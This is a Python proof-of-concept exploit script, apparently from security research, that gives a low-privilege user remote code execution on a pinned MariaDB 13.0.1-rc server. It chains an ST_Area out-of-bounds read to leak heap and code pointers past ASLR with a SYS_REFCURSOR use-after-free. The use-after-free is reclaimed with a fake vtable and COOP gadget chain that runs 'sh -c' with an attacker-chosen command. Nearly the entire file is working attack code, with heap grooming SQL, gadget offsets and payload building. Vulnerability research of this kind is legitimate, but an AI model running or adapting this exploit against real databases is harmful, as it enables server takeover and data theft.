#!/usr/bin/env python3
"""
Low-privilege RCE proof of concept for the pinned MariaDB 13.0.1-rc image.

1. ``ST_Area`` leak: a malformed ``MULTIPOLYGON`` declares two polygons but
   supplies one, so area calculation reads beyond the geometry buffer.
   Controlled floating-point terms fold the next qword into the returned
   ``DOUBLE``; reversing that arithmetic recovers its bits exactly. This first
   leaks a heap pointer, then a vtable pointer from groomed cursor storage,
   revealing the PIE base.

2. ``SYS_REFCURSOR`` use-after-free: opening 33 cursors grows and frees the
   cursor array while earlier cursors retain pointers into it. A session
   variable reclaims that storage with a fake vtable and COOP chain. ``FETCH``
   follows the stale pointer and invokes
   ``execlp("/bin/sh", "sh", "-c", command)``.

Start the target with ``./start.sh`` before running this script.
"""
import argparse, os, sys, struct, time
import pymysql

# Terminal output helpers.
class _Ansi:
    RESET = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
    RED = "\033[38;5;203m"; GREEN = "\033[38;5;84m"; YELLOW = "\033[38;5;221m"
    BLUE = "\033[38;5;75m"; MAGENTA = "\033[38;5;207m"; CYAN = "\033[38;5;51m"
    GREY = "\033[38;5;245m"; ORANGE = "\033[38;5;215m"; WHITE = "\033[38;5;255m"

_USE_COLOR = True
_QUIET = False
_T0 = time.monotonic()

def _paint(text, *codes):
    if not _USE_COLOR:
        return text
    return "".join(codes) + text + _Ansi.RESET

def _stamp():
    dt = time.monotonic() - _T0
    return _paint("%6.2fs" % dt, _Ansi.DIM, _Ansi.GREY)

def _emit(line):
    if not _QUIET:
        sys.stdout.write(line + "\n")
        sys.stdout.flush()

def banner():
    if _QUIET:
        return
    art = [
        r"    ███╗   ███╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██████╗ ",
        r"    ████╗ ████║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██╔══██╗",
        r"    ██╔████╔██║███████║██████╔╝██║███████║██║  ██║██████╔╝",
        r"    ██║╚██╔╝██║██╔══██║██╔══██╗██║██╔══██║██║  ██║██╔══██╗",
        r"    ██║ ╚═╝ ██║██║  ██║██║  ██║██║██║  ██║██████╔╝██████╔╝",
        r"    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═════╝ ╚═════╝ ",
    ]
    tints = [_Ansi.CYAN, _Ansi.CYAN, _Ansi.BLUE, _Ansi.BLUE, _Ansi.MAGENTA, _Ansi.MAGENTA]
    _emit("")
    for row, tint in zip(art, tints):
        _emit(_paint(row, _Ansi.BOLD, tint))
    sub = "low-privilege  •  remote code execution"
    _emit(_paint("       ┌─ 13.0.1-rc ─ ", _Ansi.GREY)
          + _paint(sub, _Ansi.DIM, _Ansi.GREY)
          + _paint(" ─┐", _Ansi.GREY))
    _emit("")

def rule():
    _emit(_paint("  " + "─" * 66, _Ansi.DIM, _Ansi.GREY))

def field(key, val, tint=_Ansi.WHITE):
    _emit("  " + _paint("%-11s" % key, _Ansi.DIM, _Ansi.GREY)
          + _paint("│ ", _Ansi.DIM, _Ansi.GREY) + _paint(str(val), _Ansi.BOLD, tint))

def phase(idx, total, name):
    tag = _paint(" %d/%d " % (idx, total), _Ansi.BOLD, _Ansi.MAGENTA)
    _emit("  " + _stamp() + " " + _paint("▸", _Ansi.BOLD, _Ansi.BLUE)
          + tag + _paint(name, _Ansi.BOLD, _Ansi.CYAN))

def ok(msg):
    _emit("  " + _stamp() + " " + _paint("✓", _Ansi.BOLD, _Ansi.GREEN)
          + "     " + _paint(msg, _Ansi.GREEN))

def info(msg):
    _emit("  " + _stamp() + " " + _paint("·", _Ansi.BOLD, _Ansi.GREY)
          + "     " + _paint(msg, _Ansi.GREY))

def warn(msg):
    _emit("  " + _stamp() + " " + _paint("!", _Ansi.BOLD, _Ansi.YELLOW)
          + "     " + _paint(msg, _Ansi.YELLOW))

def fail(msg):
    _emit("  " + _stamp() + " " + _paint("✗", _Ansi.BOLD, _Ansi.RED)
          + "     " + _paint(msg, _Ansi.BOLD, _Ansi.RED))

def leak(label, value, note=None):
    line = ("  " + _stamp() + " " + _paint("◆", _Ansi.BOLD, _Ansi.ORANGE)
            + "     " + _paint("%-13s" % label, _Ansi.GREY)
            + _paint("0x%012x" % value, _Ansi.BOLD, _Ansi.ORANGE))
    if note:
        line += _paint("   " + note, _Ansi.DIM, _Ansi.GREY)
    _emit(line)

def celebrate(cmd):
    if _QUIET:
        return
    _emit("")
    _emit(_paint("  ╭" + "─" * 42 + "╮", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  │", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  💥  REMOTE CODE EXECUTION ACHIEVED  💥", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  │", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  ╰" + "─" * 42 + "╯", _Ansi.BOLD, _Ansi.GREEN))
    _emit("  " + _paint("mariadbd is now running:  ", _Ansi.GREY)
          + _paint('sh -c "%s"' % cmd, _Ansi.BOLD, _Ansi.ORANGE))
    _emit("")

# Runtime configuration populated by parse_args().
HOST = USER = PW = DB = None
PORT = None
CMD = b"id"

def parse_args(argv=None):
    global HOST, PORT, USER, PW, DB, CMD, _USE_COLOR, _QUIET
    ap = argparse.ArgumentParser(
        prog="exploit.py",
        description="Low-privilege RCE PoC for the pinned mariadb:13.0.1-rc image.",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
        epilog="Bring the target up first with ./start.sh, then run this.")
    ap.add_argument("-H", "--host", default=os.environ.get("EXP_HOST", "127.0.0.1"),
                    help="target host / IP")
    ap.add_argument("-P", "--port", type=int, default=int(os.environ.get("EXP_PORT", "3306")),
                    help="target TCP port")
    ap.add_argument("-c", "--cmd", default=os.environ.get("EXP_CMD", "id"),
                    help='shell command mariadbd should run (`sh -c "<CMD>"`)')
    ap.add_argument("-u", "--user", default=os.environ.get("EXP_USER", "example-user"),
                    help="login user")
    ap.add_argument("-p", "--password", default=os.environ.get("EXP_PW", "my_cool_secret"),
                    help="login password")
    ap.add_argument("-d", "--database", default=os.environ.get("EXP_DB", "appdb"),
                    help="default schema")
    ap.add_argument("--no-color", action="store_true", help="disable ANSI colors / art")
    ap.add_argument("--quiet", action="store_true", help="suppress the fancy log entirely")
    args = ap.parse_args(argv)

    HOST, PORT, USER, PW, DB = args.host, args.port, args.user, args.password, args.database
    CMD = args.cmd.encode()
    _QUIET = args.quiet
    _USE_COLOR = (not args.no_color) and sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
    return args

# Constants for the pinned MariaDB 13.0.1-rc image.
VTOFF   = 0x19216b8      # Select_fetch_into_spvars vptr
NCEN    = 604            # ST_Area survivor point count
PAD     = 6              # Align the first point to the split boundary
RECLAIM_OFF = 0x112a90   # Reclaimed chunk offset from the arena base
RESULT_OFF  = 0x720      # result[0] offset in the reclaimed chunk
B32_PAYLOAD = 112 * 32   # Size of the freed 32-element cursor buffer
# PIE-relative COOP gadget offsets.
G_RSI, G_RDX, G_RCX, G_RDI, EXECLP = 0x873099, 0x11d17bc, 0xc62fae, 0xb84696, 0x694ca0

def connect():
    return pymysql.connect(host=HOST, port=PORT, user=USER, password=PW, database=DB,
        charset="latin1", autocommit=True, connect_timeout=8, read_timeout=40, use_unicode=False)

# Recover an out-of-bounds qword through ST_Area.
def _recover(area, mult=1e300):
    if not isinstance(area, (int, float)) or area in (0, 0.0):
        return None
    try:
        return struct.unpack("<Q", struct.pack("<d", (2.0 * area) / mult))[0]
    except (OverflowError, ValueError):
        return None

_GEOM74 = (b"\x00\x00\x00\x00" + b"\x01" + struct.pack("<I", 6) + struct.pack("<I", 2)
           + b"\x01" + struct.pack("<I", 3) + struct.pack("<I", 1) + struct.pack("<I", 3)
           + struct.pack("<d", 0.0) * 6)   # Two polygons, one real zero-area polygon

def leak_arena_raw(cur):
    """Leak the address of a BLOB record buffer through ST_Area."""
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (4).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    cur.execute("DROP TEMPORARY TABLE IF EXISTS lk")
    cur.execute("CREATE TEMPORARY TABLE lk(a VARBINARY(74), b VARBINARY(66), c BLOB)")
    cur.execute("INSERT INTO lk VALUES (0x%s,0x%s,0x%s)"
                % (_GEOM74.hex(), bytes(b).hex(), (b"\xCC" * 128).hex()))
    cur.execute("SELECT ST_Area(a) FROM lk WHERE b IS NOT NULL AND c IS NOT NULL")
    r = cur.fetchone()
    return _recover(r[0]) if r else None

# Leak the PIE base from a vtable pointer left in a freed chunk.
def _bcol(n_points):
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (n_points).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    return bytes(b)

def _ccol():
    c = bytearray(300)
    for k in range(300 // 16):
        struct.pack_into("<d", c, 16 * k + 8, 1e300)
    return bytes(c)

def _s1_leak_payload():
    # The initial zero cancels the boundary term; the remaining constant
    # values contribute nothing until the survivor boundary.
    s = bytearray(3504)
    for k in range(1, 219):
        struct.pack_into("<d", s, 16 * k + 8, 1e300)
    return bytes(s)

def _leak_block(n_points, pad=PAD, table="_lc"):
    # Allocate the leak table first so its record and the split survivor
    # share a contiguous glibc subheap.
    decls = "".join("  DECLARE c%d SYS_REFCURSOR;\n" % i for i in range(33))
    opens = "".join("  OPEN c%d FOR SELECT 1;\n" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls +
            f"  CREATE OR REPLACE TEMPORARY TABLE {table}(z VARBINARY({pad}), "
            "a VARBINARY(74), b VARBINARY(66), c VARBINARY(300));\n"
            f"  INSERT INTO {table} VALUES (UNHEX('" + ("00" * pad) + "'),"
            "UNHEX('" + _GEOM74.hex() + "'),"
            "UNHEX('" + _bcol(n_points).hex() + "'),"
            "UNHEX('" + _ccol().hex() + "'));\n"
            "  SET @@max_open_cursors=200;\n" + opens +
            "  SET @s1=UNHEX('" + _s1_leak_payload().hex() + "');\n"
            f"  SET @leaked=(SELECT ST_Area(a) FROM {table} WHERE b IS NOT NULL AND c IS NOT NULL);\n"
            "END")

def leak_code(cur, connect_fn):
    """Leak the PIE base via SQL, retrying nearby survivor point counts."""
    vt_page = VTOFF & ~0xfff
    n_lo, n_hi, n_step = NCEN - 44, NCEN + 44, 2
    cand, seen, d = [], set(), 0
    while NCEN - d >= n_lo or NCEN + d <= n_hi:
        for n in ((NCEN + d, NCEN - d) if d else (NCEN,)):
            if n_lo <= n <= n_hi and n not in seen:
                seen.add(n); cand.append(n)
        d += n_step
    first = True
    for n in cand:
        try:
            if first:
                cx = cur.connection.cursor(); first = False
                cx.execute(_leak_block(n)); cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
            else:
                c = connect_fn()
                try:
                    cx = c.cursor(); cx.execute(_leak_block(n))
                    cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
                finally:
                    c.close()
        except Exception:
            continue
        rec = _recover(area)
        if rec is None:
            continue
        pie = (rec & ~0xfff) - vt_page
        if 0 < pie < (1 << 48) and (pie & 0xfff) == 0:
            return pie
    return None

# Build a fake vtable and COOP chain that invokes execlp.
def build_coop_execlp(reclaim_base, pie, cmd):
    blob = bytearray(B32_PAYLOAD)
    put  = lambda o, v: blob.__setitem__(slice(o, o + 8), struct.pack("<Q", v & (2**64 - 1)))
    puts = lambda o, s: blob.__setitem__(slice(o, o + len(s)), s)
    A = lambda f: pie + f
    RB = reclaim_base
    put(0x00, A(G_RSI)); put(0x10, A(G_RDX)); put(0x68, A(G_RDI))
    put(0x80, A(EXECLP)); put(0x330, A(G_RCX))
    put(RESULT_OFF + 0x00, RB)                    # result[0] points to the fake vtable
    OFF_BINSH, OFF_SH, OFF_DC, OFF_CMD = 0x900, 0x910, 0x920, 0x930
    puts(OFF_BINSH, b"/bin/sh\x00"); puts(OFF_SH, b"sh\x00")
    puts(OFF_DC, b"-c\x00");         puts(OFF_CMD, cmd + b"\x00")
    put(RESULT_OFF + 0x20, RB + OFF_SH)           # rsi = "sh"
    put(RESULT_OFF + 0x08, RB + OFF_DC)           # rdx = "-c"
    put(RESULT_OFF + 0xe0, RB + OFF_CMD)          # rcx = command
    put(RESULT_OFF + 0x90, RB + OFF_BINSH)        # rdi = "/bin/sh"
    return bytes(blob)

def build_uaf_sql(blob_hex):
    decls = "\n".join("  DECLARE c%d SYS_REFCURSOR;" % i for i in range(33))
    opens = "\n".join("  OPEN c%d FOR SELECT 1;" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls + "\n  DECLARE a INT;\n"
            "  SET @@max_open_cursors=200;\n" + opens + "\n"
            "  SET @s1 = 0x" + blob_hex + ";\n"
            "  FETCH c16 INTO a;\nEND\n")

def main(argv=None):
    parse_args(argv)
    banner()
    rule()
    field("target", "%s:%d" % (HOST, PORT), _Ansi.CYAN)
    field("schema", DB, _Ansi.CYAN)
    field("identity", "%s : %s" % (USER, PW), _Ansi.CYAN)
    field("objective", 'sh -c "%s"' % CMD.decode(errors="replace"), _Ansi.ORANGE)
    rule()

    TOTAL = 4

    # Keep the first connection open while leaking the PIE base.
    phase(1, TOTAL, "Establishing authenticated session")
    try:
        c1 = connect(); cy = c1.cursor()
    except Exception as e:
        fail("could not reach the target -- is ./start.sh up and accepting connections?")
        info("detail: %s" % (e.args[-1] if getattr(e, "args", None) else e))
        return 2
    ok("logged in over the standard query port")

    phase(2, TOTAL, "Fingerprinting target runtime")
    leak_arena_raw(cy)
    pie = leak_code(cy, connect)
    if not pie:
        warn("runtime fingerprint incomplete (benign heap-layout variance)")
        info("no crash, no side effects -- just re-run ./start.sh and this script")
        return 3
    ok("runtime characteristics resolved")
    leak("image base", pie, "PIE / ASLR defeated")

    # Use a second connection to leak the arena and trigger the UAF.
    phase(3, TOTAL, "Assembling in-memory payload")
    c2 = connect(); cx = c2.cursor()
    leaked = leak_arena_raw(cx)
    arena_base = leaked & ~0x3ffffff
    reclaim_base = arena_base + RECLAIM_OFF
    blob = build_coop_execlp(reclaim_base, pie, CMD)
    leak("heap arena", arena_base, "server address space mapped")
    ok("payload staged (%d bytes)" % len(blob))

    phase(4, TOTAL, "Delivering payload")
    info("dispatching command through the target process ...")
    try:
        cx.execute(build_uaf_sql(blob.hex()))
        try: cx.fetchall()
        except Exception: pass
    except pymysql.err.OperationalError as e:
        if e.args and e.args[0] in (2013, 2006):
            ok("target handed off control (connection closed as expected)")
            celebrate(CMD.decode(errors="replace"))
            return 0
    warn("delivery did not land cleanly this run (benign groom miss)")
    info("nothing crashed -- re-run ./start.sh and this script")
    return 4

if __name__ == "__main__":
    sys.exit(main())